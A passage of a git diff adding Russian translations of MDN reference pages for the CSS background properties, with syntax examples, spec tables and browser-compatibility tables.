{{SpecName('CSS3 Backgrounds', '#background-color', 'background-color')}}{{Spec2('CSS3 Backgrounds')}}Хотя и убирается значение transparent, это ничего не меняет, так как оно было принято как верное значение {{cssxref("<color>")}}
{{SpecName('CSS2.1', 'colors.html#propdef-background-color', 'background-color')}}{{Spec2('CSS2.1')}}Нет изменений
{{SpecName('CSS1', '#background-color', 'background-color')}}{{Spec2('CSS1')}}Изначальное определение
+ +

{{cssinfo}}

+ +

Совместимость с браузерами

+ + + +

{{Compat("css.properties.background-color")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/background-image/index.html b/files/ru/web/css/background-image/index.html new file mode 100644 index 0000000000..fa163b19df --- /dev/null +++ b/files/ru/web/css/background-image/index.html @@ -0,0 +1,270 @@ +--- +title: background-image +slug: Web/CSS/background-image +tags: + - CSS + - CSS Background + - CSS Property + - Reference +translation_of: Web/CSS/background-image +--- +
{{CSSRef}}
+ +

Краткое описание

+ +

Свойство CSS  background-image устанавливает одно или несколько фоновых изображений для элемента. Изображения рисуются в слоях контекстов наложения одно поверх другого. Первый слой выводится так, чтобы он был ближе всего к пользователю.

+ +

Границы {{cssxref("border")}} элемента затем рисуются поверх них, и {{cssxref("background-color")}} рисуется под ними. То, как изображения отрисовываются относительно рамки и ее границ, определяется CSS свойствами {{cssxref("background-clip")}} и {{cssxref("background-origin")}}.

+ +

Если указанное изображение не может быть нарисовано (например, когда файл, определенный указанным URI, не может быть загружен), браузеры обрабатывают его так, как если бы оно было значением none.

+ +
Обратите внимание: Даже, если изображение непрозначно и цвет не будет показан при нормальных обстоятельствах, веб-разработчику следует всегда указывать аттрибут {{cssxref("background-color")}}. Если изображение не может быть загружено —например, в случае отказа сетевого подключения — у элемента будет отображён цветной фон.
+ +

{{cssinfo}}

+ +

Синтаксис

+ +
background-image: none;
+background-image: url(http://www.example.com/bck.png);
+
+background-image: inherit;
+
+ +

Значения

+ +
+
none
+
Это ключевое слово обозначает отсутствие изображений.
+
<image>
+
{{cssxref("<image>")}} обозначает изображение для отображения. Их может быть несколько, разделенных запятыми, поскольку поддерживается несколько фонов.
+
+ +

Официальный синтаксис

+ +
{{csssyntax("background-image")}}
+
+ +

Примеры

+ +

Несколько фонов и прозрачность

+ +

Обратите внимание, что изображение звезды частично прозрачно и наложено на изображение кошки.

+ +

HTML содержимое

+ +
<div>
+    <p class="catsandstars">
+        This paragraph is full of cats<br />and stars.
+    </p>
+    <p>This paragraph is not.</p>
+    <p class="catsandstars">
+        Here are more cats for you.<br />Look at them!
+    </p>
+    <p>And no more.</p>
+</div>
+ +

CSS содержимое

+ +
pre, p {
+    font-size: 1.5em;
+    color: #FE7F88;
+    background-color: transparent;
+}
+
+div {
+  background-image: url("https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png");
+}
+
+p {
+  background-image: none;
+}
+
+.catsandstars {
+  background-image:  url("https://mdn.mozillademos.org/files/11991/startransparent.gif"),
+                     url("https://mdn.mozillademos.org/files/7693/catfront.png");
+  background-color: transparent;
+}
+
+ +

{{EmbedLiveSample('Multiple_backgrounds_and_transparency')}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Backgrounds', '#background-image', 'background-image')}}{{Spec2('CSS3 Backgrounds')}}Начиная с CSS2 Revision 1, свойство было расширено для поддержки нескольких фонов и любого типа данных CSS {{cssxref("<image>")}}.
{{SpecName('CSS2.1', 'colors.html#propdef-background-image', 'background-image')}}{{Spec2('CSS2.1')}}Начиная с CSS1, теперь описывается способ обработки изображений с внутренними размерами и без них.
{{SpecName('CSS1', '#background-image', 'background-image')}}{{Spec2('CSS1')}}
+ +

Совместимость браузеров

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatGeckoDesktop("1.0")}}[1]4.03.51.0
Multiple backgrounds1.0{{CompatGeckoDesktop("1.9.2")}}9.0yes1.3
Gradients1.0{{property_prefix("-webkit")}}{{CompatGeckoDesktop("1.9.2")}}{{property_prefix("-moz")}}1011+{{property_prefix("-o")}}4.0{{property_prefix("-webkit")}}
SVG images8.0{{CompatGeckoDesktop("2.0")}}9.09.55.0 [2]
element{{CompatUnknown}}{{CompatVersionUnknown}}{{property_prefix("-moz")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
image-rect{{CompatNo}}{{CompatVersionUnknown}}{{property_prefix("-moz")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
Any {{cssxref("<image>")}} value.{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureiOS SafariOpera MiniOpera MobileAndroid Browser
Basic supportyesyesyesyes
Multiple backgroundsyesyesyesyes
Gradientsyes {{property_prefix("-webkit")}}
+ old webkit syntax for iOS 4.2 and older		{{CompatUnknown}}{{CompatUnknown}}yes{{property_prefix("-webkit")}}
+ old webkit syntax
SVG imagesyes [2]yesyes{{CompatNo}}
element{{CompatVersionUnknown}}{{property_prefix("-moz")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
image-rect{{CompatVersionUnknown}}{{property_prefix("-moz")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
Any {{cssxref("<image>")}} value{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Если пользовательские настройки browser.display.use_document_colors в about:config установлены на false, фоновые изображения не будут отображаться.

+ +

[2] Поддержка SVG в CSS background является неполной в текущей версии iOS Safari (5.0). То же самое для Safari до 5.0.

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/background-origin/index.html b/files/ru/web/css/background-origin/index.html new file mode 100644 index 0000000000..b61932f1b9 --- /dev/null +++ b/files/ru/web/css/background-origin/index.html @@ -0,0 +1,105 @@ +--- +title: background-origin +slug: Web/CSS/background-origin +translation_of: Web/CSS/background-origin +--- +
{{CSSRef}}
+ +

CSS свойство background-origin устанавливает область расположения фона. Другими словами, оно устанавливает исходную позицию изображения, установленнную с помощью свойства {{cssxref("background-image")}}.

+ +
{{EmbedInteractiveExample("pages/css/background-origin.html")}}
+ + + +

Обратите внимание, что background-origin игнорируется, когда {{cssxref("background-attachment")}} является fixed.

+ +
Примечание: Сокращение {{cssxref("background")}} сбрасывает значения этого свойства к его начальному значению, если оно не указано.
+ +

Синаксис

+ +
/* Ключевые значения */
+background-origin: border-box;
+background-origin: padding-box;
+background-origin: content-box;
+
+/* Глобальные значения */
+background-origin: inherit;
+background-origin: initial;
+background-origin: unset;
+
+ +

Свойство background-origin указывается в качестве одного из значений ключевых слов, перечисленных ниже.

+ +

Значения

+ +
+
border-box
+
Фон располагается относительно рамки.
+
padding-box
+
Фон расположен относительно поля отступа.
+
content-box
+
Фон располагается относительно поля содержимого.
+
+ +

Официальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +
.example {
+  border: 10px double;
+  padding: 10px;
+  background: url('image.jpg');
+  background-position: center left;
+  background-origin: content-box;
+}
+
+ +
#example2 {
+  border: 4px solid black;
+  padding: 10px;
+  background: url('image.gif');
+  background-repeat: no-repeat;
+  background-origin: border-box;
+}
+
+ +
div {
+  background-image: url('logo.jpg'), url('mainback.png'); /* Applies two images to the background */
+  background-position: top right, 0px 0px;
+  background-origin: content-box, padding-box;
+}
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Backgrounds', '#the-background-origin', 'background-origin')}}{{Spec2('CSS3 Backgrounds')}}Первоначальное определение
+ +

{{cssinfo}}

+ +

Совместимость браузеров

+ + + +

{{Compat("css.properties.background-origin")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/background-position-x/index.html b/files/ru/web/css/background-position-x/index.html new file mode 100644 index 0000000000..3a49c0609c --- /dev/null +++ b/files/ru/web/css/background-position-x/index.html @@ -0,0 +1,100 @@ +--- +title: background-position-x +slug: Web/CSS/background-position-x +translation_of: Web/CSS/background-position-x +--- +
{{CSSRef}}
+ +

Свойство background-position-x - это CSS - свойство, которое устанавливает начальную горизонтальную позицию для каждого фонового изображения. Эта позиция является относительной к позиции слоя, установленной с помощью свойства {{cssxref("background-origin")}}.

+ +
{{EmbedInteractiveExample("pages/css/background-position-x.html")}}
+ + + +

Значение этого свойства отменяется любой декларацией {{cssxref("background")}} или коротким свойством {{cssxref("background-position")}} применеными после его объявления.

+ +

Синтаксис

+ +
/* Keyword values */
+background-position-x: left;
+background-position-x: center;
+background-position-x: right;
+
+/* <percentage> values */
+background-position-x: 25%;
+
+/* <length> values */
+background-position-x: 0px;
+background-position-x: 1cm;
+background-position-x: 8em;
+
+/* Side-relative values */
+background-position-x: right 3px;
+background-position-x: left 25%;
+
+/* Multiple values */
+background-position-x: 0px, center;
+
+/* Global values */
+background-position-x: inherit;
+background-position-x: initial;
+background-position-x: unset;
+
+ +

Свойство background-position-x принимает одно или несколько значений, разделенных запятыми.

+ +

Значения

+ +
+
left
+
Выравнивает левый край фонового изображения по левому краю фонового позиционирующего слоя.
+
center
+
Выравнивает центр фонового изображения по центру фонового позиционирующего слоя.
+
right
+
Выравнивает правый край фонового изображения по правому краю фонового позиционирующего слоя.
+
{{cssxref("<length>")}}
+
Смещение левого вертикального края данного фонового изображения от левого вертикального края фонового слоя. (Некоторые браузеры позволяют назначать правый край для смещения).
+
{{cssxref("<percentage>")}}
+
Смещение горизонтальной позиции заданного фонового изображения относительно контейнера. Значение 0% означает, что левый край фонового изображения выровнен с левым краем контейнера, а значение 100% означает, что правый край фонового изображения выровнен с правым краем контейнера, таким образом значение 50% горизонтально центрирует фоновое изображение.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS4 Backgrounds', '#background-position-longhands', 'background-position-x')}}{{Spec2('CSS4 Backgrounds')}}Initial specification of longhand sub-properties of {{cssxref("background-position")}} to match longstanding implementations.
+ +

{{cssinfo}}

+ +

Совместимость с браузерами

+ + + +

{{Compat("css.properties.background-position-x")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/background-position/index.html b/files/ru/web/css/background-position/index.html new file mode 100644 index 0000000000..1d3d5ab02a --- /dev/null +++ b/files/ru/web/css/background-position/index.html @@ -0,0 +1,178 @@ +--- +title: background-position +slug: Web/CSS/background-position +translation_of: Web/CSS/background-position +--- +
{{CSSRef}}
+ +

CSS свойство background-position устанавливает начальную позицию для каждого фонового изображения. Положение относительно уровня положения, установленного {{cssxref("background-origin")}}.

+ +
{{EmbedInteractiveExample("pages/css/background-position.html")}}
+ + + +

Синтаксис

+ +
/* Ключевые значения */
+background-position: top;
+background-position: bottom;
+background-position: left;
+background-position: right;
+background-position: center;
+
+/* <процент> значения */
+background-position: 25% 75%;
+
+/* <отрезок> значения */
+background-position: 0 0;
+background-position: 1cm 2cm;
+background-position: 10ch 8em;
+
+/* Несколько изображений */
+background-position: 0 0, center;
+
+/* Значения смещения края */
+background-position: bottom 10px right 20px;
+background-position: right 3em bottom 10px;
+background-position: bottom 10px right;
+background-position: top right 10px;
+
+/* Глобальные значения */
+background-position: inherit;
+background-position: initial;
+background-position: unset;
+
+ +

Свойство background-position указывается в виде одного или нескольких значений <position>, разделенных запятыми.

+ +

Значения

+ +
+
<position>
+
{{cssxref("<position>")}}. Позиция определяет координату x/y, чтобы разместить элемент относительно границ поля элемента. Она может быть определена с использованием одного и двух значений. Если используются два значения, первое значение предоставляет горизонтальную позицию, а второе представляет вертикальную позицию. Если указано только одно, второе значение считается center.
+
+

Синтаксис 1-значения: значение может быть:

+ +
    +
  • Значение ключевого слова center, которое центрирует изображение.
    • +
  • Одно из значений ключевых слов top, left, bottom, right. Оно указывает край напротив, которого нужно поместить элемент. Затем для другого измерения устанавливается значение 50%, таким образом элемент размещается в середине указанного края.
    • +
  • {{cssxref("<length>")}} или {{cssxref("<percentage>")}}. Оно указывает координату X относительно левого края, с координатой Y установленной на 50%.
    • +
+ +

Синтаксис с 2-значениями: одно из значений определяет X, а другое определяет Y. Каждое значение может быть:

+ +
    +
  • Одно из значений ключевых слов top, left, bottom, right. Если здесь указаны left или right, то оно определяет  X, а другое заданное значение определяет Y. Если даны top или bottom, то оно определяет Y, а другое значение определяет X.
    • +
  • {{cssxref("<length>")}} или {{cssxref("<percentage>")}}. Если другое значение является left или right, то оно определяет Y, относительно верхнего края. Если другое значение top или bottom, то оно определяет X, относительно левого края. Если оба значения <length> или <percentage>, то первое определяет X, а второе Y.
    • +
+ +

Обратите внимание,что:

+ +
    +
  • Если одно значение top или bottom, то другое значение не может быть top или bottom.
    • +
  • Если одно значение  является left или right, то другое значение не может быть left или right.
    • +
+ +

Это означает, например, что top top и left right являются недействительные.

+
+
+ +

Официальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

Каждый из этих примеров использует свойство {{cssxref("background")}} для создания желтого, прямоугольного элемента, содержащего изображение звезды. В каждом примере, звезда находится в другой позиции. Третий пример иллюстрирует, как указать позиции для разных фоновых изображений в одном элементе.

+ +

HTML

+ +
<div class="exampleone">Example One</div>
+<div class="exampletwo">Example Two</div>
+<div class="examplethree">Example Three</div>
+ +

CSS

+ +
/* Общий среди всех <div>-ов */
+div {
+  background-color: #FFEE99;
+  background-repeat: no-repeat;
+  width: 300px;
+  height: 80px;
+  margin-bottom: 12px;
+}
+
+/* В этих примерах используется сокращенное свойство 'background' */
+.exampleone {
+  background: url("https://mdn.mozillademos.org/files/11987/startransparent.gif") #FFEE99 2.5cm bottom no-repeat;
+}
+.exampletwo {
+  background: url("https://mdn.mozillademos.org/files/11987/startransparent.gif") #FFEE99 3em 50% no-repeat;
+}
+
+/* Несколько фоновых изображений: каждое изображение сопоставляется
+   с соответствующей позицией, от первого указанного до последнего. */
+.examplethree {
+  background-image:    url("https://mdn.mozillademos.org/files/11987/startransparent.gif"),
+                       url("https://mdn.mozillademos.org/files/7693/catfront.png");
+  background-position: 0px 0px,
+                       center;
+}
+ +

Результат

+ +

{{EmbedLiveSample('Examples', 420, 200)}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Backgrounds', '#background-position', 'background-position')}}{{Spec2('CSS3 Backgrounds')}}Добавлена поддержка нескольких фонов и синтаксиса с четырьмя значениями. Изменяет определение процента, чтобы соответствовать реализациям.
{{SpecName('CSS2.1', 'colors.html#propdef-background-position', 'background-position')}}{{Spec2('CSS2.1')}}Позволяет смешивать значения ключевых слов и {{cssxref("<length>")}} и {{cssxref("<percentage>")}}.
{{SpecName('CSS1', '#background-position', 'background-position')}}{{Spec2('CSS1')}}Первоначальное определение.
+ +

{{cssinfo}}

+ +

Совместимость браузеров

+ + + +

{{Compat("css.properties.background-position")}}

+ +

Quantum CSS заметки

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/css/background-repeat/index.html b/files/ru/web/css/background-repeat/index.html new file mode 100644 index 0000000000..9493b0ab8d --- /dev/null +++ b/files/ru/web/css/background-repeat/index.html @@ -0,0 +1,209 @@ +--- +title: background-repeat +slug: Web/CSS/background-repeat +tags: + - CSS + - CSS Background + - CSS Property + - Reference +translation_of: Web/CSS/background-repeat +--- +
+

{{CSSRef}}

+ +

Свойство background-repeat устанавливает, как фоновые изображения будет повторяться. Они могут повторяться по горизонтальной и вертикальной оси или не повторяться вовсе.

+ +
{{EmbedInteractiveExample("pages/css/background-repeat.html")}}
+ +

Исходный код этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста, клонируйте  https://github.com/mdn/interactive-examples и отправьте нам запрос на извлечение.

+ +

По умолчанию, изображения обрезаются по размеру элемента, но их можно масштабировать (используя round) или равномерно растянуть от конца к концу (используя space).

+
+ +

 

+ +

Синтаксис

+ +
/*Ключевые значения*/
+background-repeat: repeat-x;
+background-repeat: repeat-y;
+background-repeat: repeat;
+​​​​​​​background-repeat: space;
+​​​​​​​background-repeat: round;
+​​​​​​​background-repeat: no-repeat;
+
+/*Два значения: горизонтальное | вертикальное*/
+background-repeat: repeat space;
+background-repeat: repeat repeat;
+background-repeat: round space;
+background-repeat: no-repeat round;
+
+/* Глобальные значения */
+background-repeat: inherit;
+background-repeat: initial;
+background-repeat: unset;
+ +

Значения

+ +
+
<repeat-style>
+
Следующие однозначные имеют двухзначные эквиваленты:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
repeat-xтоже самое, что и repeat no-repeat
repeat-yтоже самое, что и no-repeat repeat
repeatтоже самое, что и repeat repeat
spaceтоже самое, что и space space
roundтоже самое, что и round round
no-repeatтоже самое, что и no-repeat no-repeat
+ В двухзначном синтаксисе первое означает горизонтальные повторения, а второе вертикальные.
+ + + + + + + + + + + + + + + + + + + + +
repeatИзображения повторяются столько, сколько необходимо, чтобы полностью покрыть область элемента, последнее обрезается, если не хватает места.
spaceИзображение повторяется в заданном направлении столько раз, сколько необходимо, чтобы покрыть большую часть области рисования фонового изображения, не обрезая изображение. Оставшееся незакрытое пространство равномерно распределено между изображениями. Первое и последнее изображения касаются края элемента. Значение CSS свойства {{cssxref("background-position")}} игнорируется для рассматриваемого направления, за исключением случаев, когда отдельное изображение больше области рисования фоновго изображения, что является единственным случаем, когда изображение может быть обрезано, когда используется значение space.
roundИзображение повторяется в заданном направлении столько раз, сколько необходимо, чтобы покрыть большую часть области рисования фонового изображения, не обрезая изображение. Если оно не покрывает точно область, плитки изменяются в этом направлении, чтобы соответствовать ей.
no-repeatИзображение не повторяется (и, следовательно, область рисования фонового изображения не обязательно будет полностью покрыта). Расположение неповторяющегося фонового изображения определяется CSS свойством {{cssxref("background-position")}}.
+
+
+ +

Примеры

+ +

HTML

+ +
<ol>
+    <li>no-repeat
+        <div class="one">&nbsp;</div>
+    </li>
+    <li>repeat
+        <div class="two">&nbsp;</div>
+    </li>
+    <li>repeat-x
+        <div class="three">&nbsp;</div>
+    </li>
+    <li>repeat-y
+        <div class="four">&nbsp;</div>
+    </li>
+    <li>repeat-x, repeat-y (multiple images)
+        <div class="five">&nbsp;</div>
+    </li>
+</ol>
+ +

CSS

+ +
/* Совместно для всех DIVS в примере */
+li {margin-bottom: 12px;}
+div {
+    background-image: url(https://mdn.mozillademos.org/files/12005/starsolid.gif);
+    width: 144px;
+    height: 84px;
+}
+
+/* повторение фона CSS */
+.one {
+    background-repeat: no-repeat;
+}
+.two {
+    background-repeat: repeat;
+}
+.three {
+    background-repeat: repeat-x;
+}
+.four {
+    background-repeat: repeat-y;
+}
+
+/* Несколько изображений */
+.five {
+    background-image:  url(https://mdn.mozillademos.org/files/12005/starsolid.gif),
+                       url(https://developer.cdn.mozilla.net/media/redesign/img/favicon32.png);
+    background-repeat: repeat-x,
+                       repeat-y;
+    height: 144px;
+}
+ +

Результат

+ +

В этом примере каждому элементу списка соответствует другое значение background-repeat.

+ +

{{EmbedLiveSample('Examples', 240, 360)}}

+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Backgrounds', '#the-background-repeat', 'background-repeat')}}{{Spec2('CSS3 Backgrounds')}}Добавлена поддержка изображений с несколькими фонами, синтаксис с двумя значениями, обеспечивающий различное поведение повторения для горизонтального и вертикального направлений, ключевых слов space и round, а также для фона на элементе на уровне строки путем точного определения области рисования фона.
{{SpecName('CSS2.1', 'colors.html#propdef-background-repeat', 'background-repeat')}}{{Spec2('CSS2.1')}}Без существенных изменений
{{SpecName('CSS1', '#background-repeat', 'background-repeat')}}{{Spec2('CSS1')}} 
+ +

{{cssinfo}}

+ +

Поддержка браузеров

+ +

{{Compat("css.properties.background-repeat")}}

+ +

Смотрите также

+ + + +

 

diff --git a/files/ru/web/css/background-size/index.html b/files/ru/web/css/background-size/index.html new file mode 100644 index 0000000000..03d0ba3a13 --- /dev/null +++ b/files/ru/web/css/background-size/index.html @@ -0,0 +1,250 @@ +--- +title: background-size +slug: Web/CSS/background-size +translation_of: Web/CSS/background-size +--- +
{{CSSRef}}
+ +

Описание

+ +

Значение background-size в CSS позволяет задавать размер фонового изображения. Изображение может быть оставлено в исходном размере, растянуто, или подогнано под размеры доступного пространства.

+ +
Предупреждение: Если значение этого свойства не задано в сокращенном свойстве {{cssxref("background")}}, которое применяется к элементу после CSS свойства background-size, то значение этого свойства затем сбрасывается до исходного значения c помощью сокращеного свойства.
+ +

{{cssinfo}}

+ +

Синтаксис

+ +
/* Ключевые слова */
+background-size: cover;
+background-size: contain;
+
+/* Указано одно значение - ширина изображения, */
+/* высота в таком случае устанавливается в auto */
+background-size: 50%;
+background-size: 3em;
+background-size: 12px;
+background-size: auto;
+
+/* Указаны два значения - */
+/* ширина и высота соответственно */
+background-size: 50% auto;
+background-size: 3em 25%;
+background-size: auto 6px;
+background-size: auto auto;
+
+/* Значения для нескольких фонов */
+/* Не путайте такую запись с background-size: auto auto */
+background-size: auto, auto;
+background-size: 50%, 25%, 25%;
+background-size: 6px, auto, contain;
+
+/* Глобальные значения */
+background-size: inherit;
+background-size: initial;
+background-size: unset;
+
+ +

Значения

+ +
+
<размер>
+
Значение {{cssxref("<length>")}} позволяет масштабировать размер фонового изображения в заданном измерении. Отрицательный размер не допускается.
+
<проценты>
+
Значение {{cssxref("<percentage>")}}, которое масштабирует фоновое изображение в соответствующем измерении до указанного процента области расположения фона, которое определяется значением {{cssxref("background-origin")}}. Область расположения фона по умолчанию является областью, содержащей содержимое поля и его отступы; область также может быть изменена на содержимое или область, содержащую границы, отступы и содержимое. Если {{cssxref("background-attachment","attachment")}} фона является fixed, область позиционирования фона вместо этого является всей областью окна браузера, не включая область, покрытую полосами прокрутки, если они присутствуют. Отрицательные проценты не допускаются.
+
auto
+
Значение позволяет изменять размер фонового изображения в соответствии с заданным направлением, сохраняя его пропорции.
+
contain
+
Масштабирует картинку так, чтобы она максимально накрыла собой весь блок. Картинка при этом не обрезается, а вписывается в блок с сохранением пропорций.
+
cover
+
Ключевое слово, обратное contain. Масштабирует изображение как можно больше c сохранением пропорций изображения (изображение не становится сплющенным). Когда изображение и контейнер имеют разные размеры, изображение обрезается либо влево / вправо, либо сверху / снизу.
+
+ +

Интерпретация возможных значений зависит от внутренних размеров изображений (ширина и высота) и внутренней пропорции (соотношение ширины и высоты). Растровое изображение всегда имеет внутренние размеры и внутреннюю пропорцию. Векторное изображение может иметь оба внутренних размера (и, следовательно, должно иметь внутреннюю пропорцию). Он также может иметь одно или не иметь внутренних размеров, и в любом случае он может иметь или не иметь внутреннюю пропорцию. Градиенты обрабатываются как изображения без внутренних размеров или внутренней пропорции.

+ +
+

Предупреждение: Это поведение изменилось в Gecko 8.0 {{geckoRelease("8.0")}}. До этого, градиенты обрабатывались как изображения без внутренних размеров, с внутренней пропоцией, идентичной пропорции области расположения фона.

+
+ +

Фоновые изображения, сгенерированные из элементов с использованием {{cssxref("-moz-element")}} (которые фактически соответсвуют элементу) в настоящее время обрабатываются как изображения с размерами элемента, или как область расположения фона, если элементом является SVG, с соответсвующей внутренней пропорцией.

+ +
Предупреждение: Это не определенное в настоящее время поведение, которое заключается в том, что внутренние размеры и пропорция должны быть такими же как у элемента во всех случаях.
+ +

Визуализированный размер фоного изображения затем вычисляется следующим способом:

+ +
+
Если оба атрибута в background-size заданы и различны от auto:
+
Фоновое изображение отображается в указанном размере.
+
Если background-size содержит contain или cover:
+
Изображение визуализируется с сохранением его внутренней пропорции при наибольшем размере, который содержится внутри области размещения фона или покрывает ее. Если изображение не имеет внутренней пропорции, оно отображается с размером области расположения фона.
+
Если background-size установлен как auto или auto auto:
+
Если изображение имеет оба внутренних размера, оно отображается с таким размером. Если оно не имеет внутренних размеров и внутренней пропорции, оно отображается с размером области расположения фона. Если оно не имеет размеров, но имеет пропорцию, оно отображается так, если был был бы указан contain. Если изображение имеет один внутренний размер и пропорцию, оно отображается с размером, определенным этим одним размером и пропорцией. Если изображение имеет один внутренний размер, но не имеет пропоцию, оно отображается с использованием внутреннего размера и соответсвующим размером области позиционирования фона.
+
Если background-size содержит один атрибут auto и один не-auto:
+
Если изображение имеет внутреннюю пропорцию, то визуализируйте его используя указанный размер, и вычислите другой размер из указанного размера и внутренней пропорции. Если изображение не имет внутренней пропорции, используйте указанный размер для этого размера. Для другого размера, используйте соответсвующее внутреннее измерение изображения, если оно есть. Если такого внутреннего размера нет, используйте соответствующий размер области расположения фона.
+
+ +

Обратите внимание, что изменение размера фона для векторных изображений, в которых отсутствуют внутренние размеры или пропорции, еще не полностью реализовано во всех браузерах. Будьте осторожны, полагаясь на поведение, описанное выше, и тестируйте в нескольких браузерах (в частности, включая версии Firefox 7 или более ранней версии и Firefox 8 или более поздней версии), чтобы убедиться, что различные визуализации приемлемы.

+ +

Формальный синтаксис

+ +
{{csssyntax}}
+
+ +

Примеры

+ +

Эта демонстрация background-size: cover и эта демонстрация background-size: contain предназначены для открытия в новых окнах, чтобы вы могли видеть, как contain и cover ведут себя, когда размеры области расположения фона изменяются. Эта серия демонстраций, как работает background-size и взаимодействует с другими свойствами background-*, должна в значительной степени охватить оставшуюся основу в том, как использовать background-size отдельно и в сочетании с другими свойствами.

+ +

Замечания

+ +

Если вы указываете градиент в качестве фона и указали background-size, который будет использоваться вместе с ним, лучше не указывать размер, который использует единственную автоматическую составную часть, или задается с использованием только значения ширины (для примера, background-size: 50%). Рендеринг градиентов в таких случаях изменился в Firefox 8, и в настоящее время он обычно несовместим во всех браузерах, которые не реализуют рендеринг в соответствии с CSS3 спецификацией background-size и с CSS3 спецификацией градиента значений изображения.

+ +
.bar {
+       width: 50px; height: 100px;
+       background-image: gradient(...);
+
+       /* Лучше не использовать */
+       background-size: 25px;
+       background-size: 50%;
+       background-size: auto 50px;
+       background-size: auto 50%;
+
+       /* Допускается */
+       background-size: 25px 50px;
+       background-size: 50% 50%;
+}
+
+ +

Обратите внимание, что особенно не рекомендуется использовать размер в пикселях и размер auto с градиентом, потому что невозможно воспроизвести рендеринг в версиях Firefox до 8 и в браузерах, не реализующих рендеринг Firefox 8, без знания точного размера элемента, фон которого указывается.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Backgrounds', '#the-background-size', 'background-size')}}{{Spec2('CSS3 Backgrounds')}}Первоначальное определение
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ОсобенностьChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка1.0{{property_prefix("-webkit")}} [2]{{CompatGeckoDesktop("1.9.2")}}{{property_prefix("-moz")}} [4]9.0 [5]9.5{{property_prefix("-o")}}
+ with some bugs [1]		3.0 (522){{property_prefix("-webkit")}}
+ but from an older CSS3 draft [2]
3.0{{CompatGeckoDesktop("2.0")}}10.04.1 (532)
Поддержка значений
+ contain и cover		3.0{{CompatGeckoDesktop("1.9.2")}}9.0 [5]10.04.1 (532)
Поддержка SVG фонов44.0{{CompatGeckoDesktop("8.0")}}9.031.0{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ОсобенностьAndroidFirefox Mobile (Gecko)Windows PhoneOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+ 2.3		1.0{{property_prefix("-moz")}}
+ 4.0		{{CompatUnknown}}{{CompatUnknown}}5.1 (maybe earlier)
Поддержка SVG фонов{{CompatUnknown}}{{CompatGeckoMobile("8.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ + + +

Смотрите также

+ + diff --git a/files/ru/web/css/background/index.html b/files/ru/web/css/background/index.html new file mode 100644 index 0000000000..3835bece7c --- /dev/null +++ b/files/ru/web/css/background/index.html @@ -0,0 +1,135 @@ +--- +title: background +slug: Web/CSS/background +translation_of: Web/CSS/background +--- +
{{CSSRef("CSS Background")}}
+ +
Сокращенное CSS свойство background  устанаваливает сразу все свойства стиля фона, такие как цвет, изображение, источник и размер, или метод повтора.
+ +
+ +
{{EmbedInteractiveExample("pages/css/background.html")}}
+ +

Исходный код этого интерактивного примера хранится в репозитории GitHub.  Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста клонируйте https://github.com/mdn/interactive-examples и отправьте нам запрос на извлечение..

+ +

Свойство является сокращением, которое устанавливает следующие свойства в одном объявлении: {{cssxref("background-clip")}}, {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-origin")}}, {{cssxref("background-position")}}, {{cssxref("background-repeat")}}, {{cssxref("background-size")}}, и {{cssxref("background-attachment")}}.

+ +

Как и во всех сокращенных свойствах, любые пропущенные вложенные значения будут установлены в свои изначальные значения.

+ + + +

Синтаксис

+ +
/* Использование свойства <background-color> */
+background: green;
+
+/* Использование свойств <bg-image> и <repeat-style> */
+background: url("test.jpg") repeat-y;
+
+/* Использование <box> и <background-color> */
+background: border-box red;
+
+/* Одно изображение, центрированное и масштабированное */
+background: no-repeat center/80% url("../img/image.png");
+
+ +
Предупреждение: {{cssxref("background-color")}} можно определить только на последнем фоне, поскольку для всего элемента существует только один цвет фона.
+ +

Значения

+ +

Свойству можно указывать одно или более значений из данного списка в любом порядке:

+ +
+
<attachment>
+
Смотри {{cssxref("background-attachment")}}
+
<box>
+
